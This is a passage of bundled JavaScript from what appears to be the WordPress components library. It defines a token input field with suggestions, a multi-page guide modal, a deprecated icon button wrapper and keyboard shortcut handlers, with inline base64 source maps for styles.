42523 }) => !__next40pxDefaultSize && /* @__PURE__ */ css("padding-top:", space(hasTokens ? 1 : 0.5), ";padding-bottom:", space(hasTokens ? 1 : 0.5), ";" + (false ? "" : ";label:deprecatedPaddings;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF1QkkiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBGbGV4IH0gZnJvbSAnLi4vZmxleCc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcbmltcG9ydCB7IGJveFNpemluZ1Jlc2V0IH0gZnJvbSAnLi4vdXRpbHMnO1xuXG50eXBlIFRva2Vuc0FuZElucHV0V3JhcHBlclByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU6IGJvb2xlYW47XG5cdGhhc1Rva2VuczogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGRlcHJlY2F0ZWRQYWRkaW5ncyA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGhhc1Rva2Vucyxcbn06IFRva2Vuc0FuZElucHV0V3JhcHBlclByb3BzICkgPT5cblx0ISBfX25leHQ0MHB4RGVmYXVsdFNpemUgJiZcblx0Y3NzYFxuXHRcdHBhZGRpbmctdG9wOiAkeyBzcGFjZSggaGFzVG9rZW5zID8gMSA6IDAuNSApIH07XG5cdFx0cGFkZGluZy1ib3R0b206ICR7IHNwYWNlKCBoYXNUb2tlbnMgPyAxIDogMC41ICkgfTtcblx0YDtcblxuZXhwb3J0IGNvbnN0IFRva2Vuc0FuZElucHV0V3JhcHBlckZsZXggPSBzdHlsZWQoIEZsZXggKWBcblx0cGFkZGluZzogN3B4O1xuXHQkeyBib3hTaXppbmdSZXNldCB9XG5cblx0JHsgZGVwcmVjYXRlZFBhZGRpbmdzIH1cbmA7XG4iXX0= */");
42524 var TokensAndInputWrapperFlex = /* @__PURE__ */ createStyled(component_default3, false ? {
42525 target: "ehq8nmi0"
42526 } : {
42527 target: "ehq8nmi0",
42528 label: "TokensAndInputWrapperFlex"
42529 })("padding:7px;", boxSizingReset, " ", deprecatedPaddings, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE0QnVEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uL2ZsZXgnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgeyBib3hTaXppbmdSZXNldCB9IGZyb20gJy4uL3V0aWxzJztcblxudHlwZSBUb2tlbnNBbmRJbnB1dFdyYXBwZXJQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplOiBib29sZWFuO1xuXHRoYXNUb2tlbnM6IGJvb2xlYW47XG59O1xuXG5jb25zdCBkZXByZWNhdGVkUGFkZGluZ3MgPSAoIHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplLFxuXHRoYXNUb2tlbnMsXG59OiBUb2tlbnNBbmRJbnB1dFdyYXBwZXJQcm9wcyApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmXG5cdGNzc2Bcblx0XHRwYWRkaW5nLXRvcDogJHsgc3BhY2UoIGhhc1Rva2VucyA/IDEgOiAwLjUgKSB9O1xuXHRcdHBhZGRpbmctYm90dG9tOiAkeyBzcGFjZSggaGFzVG9rZW5zID8gMSA6IDAuNSApIH07XG5cdGA7XG5cbmV4cG9ydCBjb25zdCBUb2tlbnNBbmRJbnB1dFdyYXBwZXJGbGV4ID0gc3R5bGVkKCBGbGV4IClgXG5cdHBhZGRpbmc6IDdweDtcblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuXG5cdCR7IGRlcHJlY2F0ZWRQYWRkaW5ncyB9XG5gO1xuIl19 */"));
42530
42531 // packages/components/build-module/form-token-field/index.mjs
42532 var import_jsx_runtime219 = __toESM(require_jsx_runtime(), 1);
42533 var identity3 = (value) => value;
42534 function FormTokenField(props) {
42535 const {
42536 autoCapitalize,
42537 autoComplete,
42538 maxLength,
42539 placeholder,
42540 label = (0, import_i18n57.__)("Add item"),
42541 className: className2,
42542 suggestions = [],
42543 maxSuggestions = 100,
42544 value = [],
42545 displayTransform = identity3,
42546 saveTransform = (token2) => token2.trim(),
42547 onChange = () => {
42548 },
42549 onInputChange = () => {
42550 },
42551 onFocus = void 0,
42552 isBorderless = false,
42553 disabled = false,
42554 tokenizeOnSpace = false,
42555 messages = {
42556 added: (0, import_i18n57.__)("Item added."),
42557 removed: (0, import_i18n57.__)("Item removed."),
42558 remove: (0, import_i18n57.__)("Remove item"),
42559 __experimentalInvalid: (0, import_i18n57.__)("Invalid item")
42560 },
42561 __experimentalRenderItem,
42562 __experimentalExpandOnFocus = false,
42563 __experimentalValidateInput = () => true,
42564 __experimentalShowHowTo = true,
42565 __next40pxDefaultSize = false,
42566 __experimentalAutoSelectFirstMatch = false,
42567 tokenizeOnBlur = false
42568 } = useDeprecated36pxDefaultSizeProp(props);
42569 maybeWarnDeprecated36pxSize({
42570 componentName: "FormTokenField",
42571 size: void 0,
42572 __next40pxDefaultSize
42573 });
42574 const instanceId = (0, import_compose58.useInstanceId)(FormTokenField);
42575 const [incompleteTokenValue, setIncompleteTokenValue] = (0, import_element144.useState)("");
42576 const [inputOffsetFromEnd, setInputOffsetFromEnd] = (0, import_element144.useState)(0);
42577 const [isActive, setIsActive] = (0, import_element144.useState)(false);
42578 const [isExpanded, setIsExpanded] = (0, import_element144.useState)(false);
42579 const [selectedSuggestionIndex, setSelectedSuggestionIndex] = (0, import_element144.useState)(-1);
42580 const [selectedSuggestionScroll, setSelectedSuggestionScroll] = (0, import_element144.useState)(false);
42581 const prevSuggestions = (0, import_compose58.usePrevious)(suggestions);
42582 const prevValue = (0, import_compose58.usePrevious)(value);
42583 const input = (0, import_element144.useRef)(null);
42584 const tokensAndInput = (0, import_element144.useRef)(null);
42585 const debouncedSpeak = (0, import_compose58.useDebounce)(import_a11y6.speak, 500);
42586 (0, import_element144.useEffect)(() => {
42587 if (isActive && !hasFocus2()) {
42588 focus4();
42589 }
42590 }, [isActive]);
42591 (0, import_element144.useEffect)(() => {
42592 const suggestionsDidUpdate = !(0, import_is_shallow_equal2.isShallowEqual)(suggestions, prevSuggestions || []);
42593 if (suggestionsDidUpdate || value !== prevValue) {
42594 updateSuggestions(suggestionsDidUpdate);
42595 }
42596 }, [suggestions, prevSuggestions, value, prevValue]);
42597 (0, import_element144.useEffect)(() => {
42598 updateSuggestions();
42599 }, [incompleteTokenValue]);
42600 (0, import_element144.useEffect)(() => {
42601 updateSuggestions();
42602 }, [__experimentalAutoSelectFirstMatch]);
42603 if (disabled && isActive) {
42604 setIsActive(false);
42605 setIncompleteTokenValue("");
42606 }
42607 function focus4() {
42608 input.current?.focus();
42609 }
42610 function hasFocus2() {
42611 return input.current === input.current?.ownerDocument.activeElement;
42612 }
42613 function onFocusHandler(event) {
42614 if (hasFocus2() || event.target === tokensAndInput.current) {
42615 setIsActive(true);
42616 setIsExpanded(__experimentalExpandOnFocus || isExpanded);
42617 } else {
42618 setIsActive(false);
42619 }
42620 if ("function" === typeof onFocus) {
42621 onFocus(event);
42622 }
42623 }
42624 function onBlur(event) {
42625 if (inputHasValidValue() && __experimentalValidateInput(incompleteTokenValue)) {
42626 setIsActive(false);
42627 if (tokenizeOnBlur && inputHasValidValue()) {
42628 addNewToken(incompleteTokenValue);
42629 }
42630 } else {
42631 setIncompleteTokenValue("");
42632 setInputOffsetFromEnd(0);
42633 setIsActive(false);
42634 if (__experimentalExpandOnFocus) {
42635 const hasFocusWithin2 = event.relatedTarget === tokensAndInput.current;
42636 setIsExpanded(hasFocusWithin2);
42637 } else {
42638 setIsExpanded(false);
42639 }
42640 setSelectedSuggestionIndex(-1);
42641 setSelectedSuggestionScroll(false);
42642 }
42643 }
42644 function onKeyDown(event) {
42645 let preventDefault = false;
42646 if (event.defaultPrevented) {
42647 return;
42648 }
42649 switch (event.key) {
42650 case "Backspace":
42651 preventDefault = handleDeleteKey(deleteTokenBeforeInput);
42652 break;
42653 case "Enter":
42654 preventDefault = addCurrentToken();
42655 break;
42656 case "ArrowLeft":
42657 preventDefault = handleLeftArrowKey();
42658 break;
42659 case "ArrowUp":
42660 preventDefault = handleUpArrowKey();
42661 break;
42662 case "ArrowRight":
42663 preventDefault = handleRightArrowKey();
42664 break;
42665 case "ArrowDown":
42666 preventDefault = handleDownArrowKey();
42667 break;
42668 case "Delete":
42669 preventDefault = handleDeleteKey(deleteTokenAfterInput);
42670 break;
42671 case "Space":
42672 if (tokenizeOnSpace) {
42673 preventDefault = addCurrentToken();
42674 }
42675 break;
42676 case "Escape":
42677 preventDefault = handleEscapeKey(event);
42678 break;
42679 case "Tab":
42680 preventDefault = handleTabKey(event);
42681 break;
42682 default:
42683 break;
42684 }
42685 if (preventDefault) {
42686 event.preventDefault();
42687 }
42688 }
42689 function onKeyPress(event) {
42690 let preventDefault = false;
42691 switch (event.key) {
42692 case ",":
42693 preventDefault = handleCommaKey();
42694 break;
42695 default:
42696 break;
42697 }
42698 if (preventDefault) {
42699 event.preventDefault();
42700 }
42701 }
42702 function onContainerTouched(event) {
42703 if (event.target === tokensAndInput.current && isActive) {
42704 event.preventDefault();
42705 }
42706 }
42707 function onTokenClickRemove(event) {
42708 deleteToken(event.value);
42709 focus4();
42710 }
42711 function onSuggestionHovered(suggestion) {
42712 const index2 = getMatchingSuggestions().indexOf(suggestion);
42713 if (index2 >= 0) {
42714 setSelectedSuggestionIndex(index2);
42715 setSelectedSuggestionScroll(false);
42716 }
42717 }
42718 function onSuggestionSelected(suggestion) {
42719 addNewToken(suggestion);
42720 }
42721 function onInputChangeHandler(event) {
42722 const text = event.value;
42723 const separator = tokenizeOnSpace ? /[ ,\t]+/ : /[,\t]+/;
42724 const items = text.split(separator);
42725 const tokenValue = items[items.length - 1] || "";
42726 if (items.length > 1) {
42727 addNewTokens(items.slice(0, -1));
42728 }
42729 setIncompleteTokenValue(tokenValue);
42730 onInputChange(tokenValue);
42731 }
42732 function handleDeleteKey(_deleteToken) {
42733 let preventDefault = false;
42734 if (hasFocus2() && isInputEmpty()) {
42735 _deleteToken();
42736 preventDefault = true;
42737 }
42738 return preventDefault;
42739 }
42740 function handleLeftArrowKey() {
42741 let preventDefault = false;
42742 if (isInputEmpty()) {
42743 moveInputBeforePreviousToken();
42744 preventDefault = true;
42745 }
42746 return preventDefault;
42747 }
42748 function handleRightArrowKey() {
42749 let preventDefault = false;
42750 if (isInputEmpty()) {
42751 moveInputAfterNextToken();
42752 preventDefault = true;
42753 }
42754 return preventDefault;
42755 }
42756 function handleUpArrowKey() {
42757 setSelectedSuggestionIndex((index2) => {
42758 return (index2 === 0 ? getMatchingSuggestions(incompleteTokenValue, suggestions, value, maxSuggestions, saveTransform).length : index2) - 1;
42759 });
42760 setSelectedSuggestionScroll(true);
42761 return true;
42762 }
42763 function handleDownArrowKey() {
42764 setSelectedSuggestionIndex((index2) => {
42765 return (index2 + 1) % getMatchingSuggestions(incompleteTokenValue, suggestions, value, maxSuggestions, saveTransform).length;
42766 });
42767 setSelectedSuggestionScroll(true);
42768 return true;
42769 }
42770 function collapseSuggestionsList(event) {
42771 if (event.target instanceof HTMLInputElement) {
42772 setIncompleteTokenValue(event.target.value);
42773 setIsExpanded(false);
42774 setSelectedSuggestionIndex(-1);
42775 setSelectedSuggestionScroll(false);
42776 }
42777 }
42778 function handleEscapeKey(event) {
42779 collapseSuggestionsList(event);
42780 return true;
42781 }
42782 function handleTabKey(event) {
42783 collapseSuggestionsList(event);
42784 return false;
42785 }
42786 function handleCommaKey() {
42787 if (inputHasValidValue()) {
42788 addNewToken(incompleteTokenValue);
42789 }
42790 return true;
42791 }
42792 function moveInputToIndex(index2) {
42793 setInputOffsetFromEnd(value.length - Math.max(index2, -1) - 1);
42794 }
42795 function moveInputBeforePreviousToken() {
42796 setInputOffsetFromEnd((prevInputOffsetFromEnd) => {
42797 return Math.min(prevInputOffsetFromEnd + 1, value.length);
42798 });
42799 }
42800 function moveInputAfterNextToken() {
42801 setInputOffsetFromEnd((prevInputOffsetFromEnd) => {
42802 return Math.max(prevInputOffsetFromEnd - 1, 0);
42803 });
42804 }
42805 function deleteTokenBeforeInput() {
42806 const index2 = getIndexOfInput() - 1;
42807 if (index2 > -1) {
42808 deleteToken(value[index2]);
42809 }
42810 }
42811 function deleteTokenAfterInput() {
42812 const index2 = getIndexOfInput();
42813 if (index2 < value.length) {
42814 deleteToken(value[index2]);
42815 moveInputToIndex(index2);
42816 }
42817 }
42818 function addCurrentToken() {
42819 let preventDefault = false;
42820 const selectedSuggestion = getSelectedSuggestion();
42821 if (selectedSuggestion) {
42822 addNewToken(selectedSuggestion);
42823 preventDefault = true;
42824 } else if (inputHasValidValue()) {
42825 addNewToken(incompleteTokenValue);
42826 preventDefault = true;
42827 }
42828 return preventDefault;
42829 }
42830 function addNewTokens(tokens) {
42831 const tokensToAdd = [...new Set(tokens.map(saveTransform).filter(Boolean).filter((token2) => !valueContainsToken(token2)))];
42832 if (tokensToAdd.length > 0) {
42833 const newValue = [...value];
42834 newValue.splice(getIndexOfInput(), 0, ...tokensToAdd);
42835 onChange(newValue);
42836 }
42837 }
42838 function addNewToken(token2) {
42839 if (!__experimentalValidateInput(token2)) {
42840 (0, import_a11y6.speak)(messages.__experimentalInvalid, "assertive");
42841 return;
42842 }
42843 addNewTokens([token2]);
42844 (0, import_a11y6.speak)(messages.added, "assertive");
42845 setIncompleteTokenValue("");
42846 setSelectedSuggestionIndex(-1);
42847 setSelectedSuggestionScroll(false);
42848 setIsExpanded(!__experimentalExpandOnFocus);
42849 if (isActive && !tokenizeOnBlur) {
42850 focus4();
42851 }
42852 }
42853 function deleteToken(token2) {
42854 const newTokens = value.filter((item2) => {
42855 return getTokenValue(item2) !== getTokenValue(token2);
42856 });
42857 onChange(newTokens);
42858 (0, import_a11y6.speak)(messages.removed, "assertive");
42859 }
42860 function getTokenValue(token2) {
42861 if ("object" === typeof token2) {
42862 return token2.value;
42863 }
42864 return token2;
42865 }
42866 function getMatchingSuggestions(searchValue = incompleteTokenValue, _suggestions = suggestions, _value = value, _maxSuggestions = maxSuggestions, _saveTransform = saveTransform) {
42867 let match4 = _saveTransform(searchValue);
42868 const startsWithMatch = [];
42869 const containsMatch = [];
42870 const normalizedValue = _value.map((item2) => {
42871 if (typeof item2 === "string") {
42872 return item2;
42873 }
42874 return item2.value;
42875 });
42876 if (match4.length === 0) {
42877 _suggestions = _suggestions.filter((suggestion) => !normalizedValue.includes(suggestion));
42878 } else {
42879 match4 = match4.normalize("NFKC").toLocaleLowerCase();
42880 _suggestions.forEach((suggestion) => {
42881 const index2 = suggestion.normalize("NFKC").toLocaleLowerCase().indexOf(match4);
42882 if (normalizedValue.indexOf(suggestion) === -1) {
42883 if (index2 === 0) {
42884 startsWithMatch.push(suggestion);
42885 } else if (index2 > 0) {
42886 containsMatch.push(suggestion);
42887 }
42888 }
42889 });
42890 _suggestions = startsWithMatch.concat(containsMatch);
42891 }
42892 return _suggestions.slice(0, _maxSuggestions);
42893 }
42894 function getSelectedSuggestion() {
42895 if (selectedSuggestionIndex !== -1) {
42896 return getMatchingSuggestions()[selectedSuggestionIndex];
42897 }
42898 return void 0;
42899 }
42900 function valueContainsToken(token2) {
42901 return value.some((item2) => {
42902 return getTokenValue(token2) === getTokenValue(item2);
42903 });
42904 }
42905 function getIndexOfInput() {
42906 return value.length - inputOffsetFromEnd;
42907 }
42908 function isInputEmpty() {
42909 return incompleteTokenValue.length === 0;
42910 }
42911 function inputHasValidValue() {
42912 return saveTransform(incompleteTokenValue).length > 0;
42913 }
42914 function updateSuggestions(resetSelectedSuggestion = true) {
42915 const inputHasMinimumChars = incompleteTokenValue.trim().length > 1;
42916 const matchingSuggestions2 = getMatchingSuggestions(incompleteTokenValue);
42917 const hasMatchingSuggestions = matchingSuggestions2.length > 0;
42918 const shouldExpandIfFocuses = hasFocus2() && __experimentalExpandOnFocus;
42919 setIsExpanded(shouldExpandIfFocuses || inputHasMinimumChars && hasMatchingSuggestions);
42920 if (resetSelectedSuggestion) {
42921 if (__experimentalAutoSelectFirstMatch && inputHasMinimumChars && hasMatchingSuggestions) {
42922 setSelectedSuggestionIndex(0);
42923 setSelectedSuggestionScroll(true);
42924 } else {
42925 setSelectedSuggestionIndex(-1);
42926 setSelectedSuggestionScroll(false);
42927 }
42928 }
42929 if (inputHasMinimumChars) {
42930 const message2 = hasMatchingSuggestions ? (0, import_i18n57.sprintf)(
42931 /* translators: %d: number of results. */
42932 (0, import_i18n57._n)("%d result found, use up and down arrow keys to navigate.", "%d results found, use up and down arrow keys to navigate.", matchingSuggestions2.length),
42933 matchingSuggestions2.length
42934 ) : (0, import_i18n57.__)("No results.");
42935 debouncedSpeak(message2, "assertive");
42936 }
42937 }
42938 function renderTokensAndInput() {
42939 const components = value.map(renderToken);
42940 components.splice(getIndexOfInput(), 0, renderInput());
42941 return components;
42942 }
42943 function renderToken(token2, index2, tokens) {
42944 const _value = getTokenValue(token2);
42945 const status = typeof token2 !== "string" ? token2.status : void 0;
42946 const termPosition = index2 + 1;
42947 const termsCount = tokens.length;
42948 return /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(component_default4, {
42949 children: /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(Token, {
42950 value: _value,
42951 status,
42952 title: typeof token2 !== "string" ? token2.title : void 0,
42953 displayTransform,
42954 onClickRemove: onTokenClickRemove,
42955 isBorderless: typeof token2 !== "string" && token2.isBorderless || isBorderless,
42956 onMouseEnter: typeof token2 !== "string" ? token2.onMouseEnter : void 0,
42957 onMouseLeave: typeof token2 !== "string" ? token2.onMouseLeave : void 0,
42958 disabled: "error" !== status && disabled,
42959 messages,
42960 termsCount,
42961 termPosition
42962 })
42963 }, "token-" + _value);
42964 }
42965 function renderInput() {
42966 const inputProps = {
42967 instanceId,
42968 autoCapitalize,
42969 autoComplete,
42970 placeholder: value.length === 0 ? placeholder : "",
42971 disabled,
42972 value: incompleteTokenValue,
42973 onBlur,
42974 isExpanded,
42975 selectedSuggestionIndex
42976 };
42977 return /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(token_input_default, {
42978 ...inputProps,
42979 onChange: !(maxLength && value.length >= maxLength) ? onInputChangeHandler : void 0,
42980 ref: input
42981 }, "input");
42982 }
42983 const classes = clsx_default(className2, "components-form-token-field__input-container", {
42984 "is-active": isActive,
42985 "is-disabled": disabled
42986 });
42987 let tokenFieldProps = {
42988 className: "components-form-token-field",
42989 tabIndex: -1
42990 };
42991 const matchingSuggestions = getMatchingSuggestions();
42992 if (!disabled) {
42993 tokenFieldProps = Object.assign({}, tokenFieldProps, {
42994 onKeyDown: withIgnoreIMEEvents(onKeyDown),
42995 onKeyPress,
42996 onFocus: onFocusHandler
42997 });
42998 }
42999 return /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)("div", {
43000 ...tokenFieldProps,
43001 children: [label && /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(StyledLabel, {
43002 htmlFor: `components-form-token-input-${instanceId}`,
43003 className: "components-form-token-field__label",
43004 children: label
43005 }), /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)("div", {
43006 ref: tokensAndInput,
43007 className: classes,
43008 tabIndex: -1,
43009 onMouseDown: onContainerTouched,
43010 onTouchStart: onContainerTouched,
43011 children: [/* @__PURE__ */ (0, import_jsx_runtime219.jsx)(TokensAndInputWrapperFlex, {
43012 justify: "flex-start",
43013 align: "center",
43014 gap: 1,
43015 wrap: true,
43016 __next40pxDefaultSize,
43017 hasTokens: !!value.length,
43018 children: renderTokensAndInput()
43019 }), isExpanded && /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(suggestions_list_default, {
43020 instanceId,
43021 match: saveTransform(incompleteTokenValue),
43022 displayTransform,
43023 suggestions: matchingSuggestions,
43024 selectedIndex: selectedSuggestionIndex,
43025 scrollIntoView: selectedSuggestionScroll,
43026 onHover: onSuggestionHovered,
43027 onSelect: onSuggestionSelected,
43028 __experimentalRenderItem
43029 })]
43030 }), __experimentalShowHowTo && /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(StyledHelp, {
43031 id: `components-form-token-suggestions-howto-${instanceId}`,
43032 className: "components-form-token-field__help",
43033 children: tokenizeOnSpace ? (0, import_i18n57.__)("Separate with commas, spaces, or the Enter key.") : (0, import_i18n57.__)("Separate with commas or the Enter key.")
43034 })]
43035 });
43036 }
43037 var form_token_field_default = FormTokenField;
43038
43039 // packages/components/build-module/guide/index.mjs
43040 var import_element145 = __toESM(require_element(), 1);
43041 var import_deprecated17 = __toESM(require_deprecated(), 1);
43042 var import_i18n59 = __toESM(require_i18n(), 1);
43043
43044 // packages/components/build-module/guide/page-control.mjs
43045 var import_i18n58 = __toESM(require_i18n(), 1);
43046
43047 // packages/components/build-module/guide/icons.mjs
43048 var import_primitives33 = __toESM(require_primitives(), 1);
43049 var import_jsx_runtime220 = __toESM(require_jsx_runtime(), 1);
43050 var PageControlIcon = () => /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(import_primitives33.SVG, {
43051 width: "8",
43052 height: "8",
43053 fill: "none",
43054 xmlns: "http://www.w3.org/2000/svg",
43055 children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(import_primitives33.Circle, {
43056 cx: "4",
43057 cy: "4",
43058 r: "4"
43059 })
43060 });
43061
43062 // packages/components/build-module/guide/page-control.mjs
43063 var import_jsx_runtime221 = __toESM(require_jsx_runtime(), 1);
43064 function PageControl({
43065 currentPage,
43066 numberOfPages,
43067 setCurrentPage
43068 }) {
43069 return /* @__PURE__ */ (0, import_jsx_runtime221.jsx)("ul", {
43070 className: "components-guide__page-control",
43071 "aria-label": (0, import_i18n58.__)("Guide controls"),
43072 children: Array.from({
43073 length: numberOfPages
43074 }).map((_2, page) => /* @__PURE__ */ (0, import_jsx_runtime221.jsx)("li", {
43075 // Set aria-current="step" on the active page, see https://www.w3.org/TR/wai-aria-1.1/#aria-current
43076 "aria-current": page === currentPage ? "step" : void 0,
43077 children: /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(button_default, {
43078 size: "small",
43079 icon: /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(PageControlIcon, {}),
43080 "aria-label": (0, import_i18n58.sprintf)(
43081 /* translators: 1: current page number 2: total number of pages */
43082 (0, import_i18n58.__)("Page %1$d of %2$d"),
43083 page + 1,
43084 numberOfPages
43085 ),
43086 onClick: () => setCurrentPage(page)
43087 }, page)
43088 }, page))
43089 });
43090 }
43091
43092 // packages/components/build-module/guide/index.mjs
43093 var import_jsx_runtime222 = __toESM(require_jsx_runtime(), 1);
43094 function Guide({
43095 children,
43096 className: className2,
43097 contentLabel,
43098 finishButtonText = (0, import_i18n59.__)("Finish"),
43099 nextButtonText = (0, import_i18n59.__)("Next"),
43100 previousButtonText = (0, import_i18n59.__)("Previous"),
43101 onFinish,
43102 pages = []
43103 }) {
43104 const ref = (0, import_element145.useRef)(null);
43105 const [currentPage, setCurrentPage] = (0, import_element145.useState)(0);
43106 (0, import_element145.useEffect)(() => {
43107 const frame2 = ref.current?.querySelector(".components-guide");
43108 if (frame2 instanceof HTMLElement) {
43109 frame2.focus();
43110 }
43111 }, [currentPage]);
43112 (0, import_element145.useEffect)(() => {
43113 if (import_element145.Children.count(children)) {
43114 (0, import_deprecated17.default)("Passing children to <Guide>", {
43115 since: "5.5",
43116 alternative: "the `pages` prop"
43117 });
43118 }
43119 }, [children]);
43120 if (import_element145.Children.count(children)) {
43121 pages = import_element145.Children.map(children, (child) => ({
43122 content: child
43123 })) ?? [];
43124 }
43125 const canGoBack = currentPage > 0;
43126 const canGoForward = currentPage < pages.length - 1;
43127 const goBack = () => {
43128 if (canGoBack) {
43129 setCurrentPage(currentPage - 1);
43130 }
43131 };
43132 const goForward = () => {
43133 if (canGoForward) {
43134 setCurrentPage(currentPage + 1);
43135 }
43136 };
43137 if (pages.length === 0) {
43138 return null;
43139 }
43140 return /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(modal_default, {
43141 className: clsx_default("components-guide", className2),
43142 contentLabel,
43143 isDismissible: pages.length > 1,
43144 onRequestClose: onFinish,
43145 onKeyDown: (event) => {
43146 if (event.code === "ArrowLeft") {
43147 goBack();
43148 event.preventDefault();
43149 } else if (event.code === "ArrowRight") {
43150 goForward();
43151 event.preventDefault();
43152 }
43153 },
43154 ref,
43155 children: /* @__PURE__ */ (0, import_jsx_runtime222.jsxs)("div", {
43156 className: "components-guide__container",
43157 children: [/* @__PURE__ */ (0, import_jsx_runtime222.jsxs)("div", {
43158 className: "components-guide__page",
43159 children: [pages[currentPage].image, pages.length > 1 && /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(PageControl, {
43160 currentPage,
43161 numberOfPages: pages.length,
43162 setCurrentPage
43163 }), pages[currentPage].content]
43164 }), /* @__PURE__ */ (0, import_jsx_runtime222.jsxs)("div", {
43165 className: "components-guide__footer",
43166 children: [canGoBack && /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(button_default, {
43167 className: "components-guide__back-button",
43168 variant: "tertiary",
43169 onClick: goBack,
43170 __next40pxDefaultSize: true,
43171 children: previousButtonText
43172 }), canGoForward && /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(button_default, {
43173 className: "components-guide__forward-button",
43174 variant: "primary",
43175 onClick: goForward,
43176 __next40pxDefaultSize: true,
43177 children: nextButtonText
43178 }), !canGoForward && /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(button_default, {
43179 className: "components-guide__finish-button",
43180 variant: "primary",
43181 onClick: onFinish,
43182 __next40pxDefaultSize: true,
43183 children: finishButtonText
43184 })]
43185 })]
43186 })
43187 });
43188 }
43189 var guide_default = Guide;
43190
43191 // packages/components/build-module/guide/page.mjs
43192 var import_element146 = __toESM(require_element(), 1);
43193 var import_deprecated18 = __toESM(require_deprecated(), 1);
43194 var import_jsx_runtime223 = __toESM(require_jsx_runtime(), 1);
43195 function GuidePage(props) {
43196 (0, import_element146.useEffect)(() => {
43197 (0, import_deprecated18.default)("<GuidePage>", {
43198 since: "5.5",
43199 alternative: "the `pages` prop in <Guide>"
43200 });
43201 }, []);
43202 return /* @__PURE__ */ (0, import_jsx_runtime223.jsx)("div", {
43203 ...props
43204 });
43205 }
43206
43207 // packages/components/build-module/button/deprecated.mjs
43208 var import_deprecated19 = __toESM(require_deprecated(), 1);
43209 var import_element147 = __toESM(require_element(), 1);
43210 var import_jsx_runtime224 = __toESM(require_jsx_runtime(), 1);
43211 function UnforwardedIconButton({
43212 label,
43213 labelPosition,
43214 size: size3,
43215 tooltip,
43216 ...props
43217 }, ref) {
43218 (0, import_deprecated19.default)("wp.components.IconButton", {
43219 since: "5.4",
43220 alternative: "wp.components.Button",
43221 version: "6.2"
43222 });
43223 return (
43224 // Disable reason: the parent component is taking care of the __next40pxDefaultSize prop.
43225 // eslint-disable-next-line @wordpress/components-no-missing-40px-size-prop
43226 /* @__PURE__ */ (0, import_jsx_runtime224.jsx)(button_default, {
43227 ...props,
43228 ref,
43229 tooltipPosition: labelPosition,
43230 iconSize: size3,
43231 showTooltip: tooltip !== void 0 ? !!tooltip : void 0,
43232 label: tooltip || label
43233 })
43234 );
43235 }
43236 var deprecated_default = (0, import_element147.forwardRef)(UnforwardedIconButton);
43237
43238 // packages/components/build-module/keyboard-shortcuts/index.mjs
43239 var import_element148 = __toESM(require_element(), 1);
43240 var import_compose59 = __toESM(require_compose(), 1);
43241 var import_jsx_runtime225 = __toESM(require_jsx_runtime(), 1);
43242 function KeyboardShortcut({
43243 target,
43244 callback,
43245 shortcut,
43246 bindGlobal,
43247 eventName
43248 }) {
43249 (0, import_compose59.useKeyboardShortcut)(shortcut, callback, {
43250 bindGlobal,
43251 target,
43252 eventName
43253 });
43254 return null;
43255 }
43256 function KeyboardShortcuts({
43257 children,
43258 shortcuts,
43259 bindGlobal,
43260 eventName
43261 }) {
43262 const target = (0, import_element148.useRef)(null);
43263 const element = Object.entries(shortcuts ?? {}).map(([shortcut, callback]) => /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(KeyboardShortcut, {
43264 shortcut,
43265 callback,
43266 bindGlobal,
43267 eventName,
43268 target
43269 }, shortcut));
43270 if (!import_element148.Children.count(children)) {
43271 return /* @__PURE__ */ (0, import_jsx_runtime225.jsx)(import_jsx_runtime225.Fragment, {
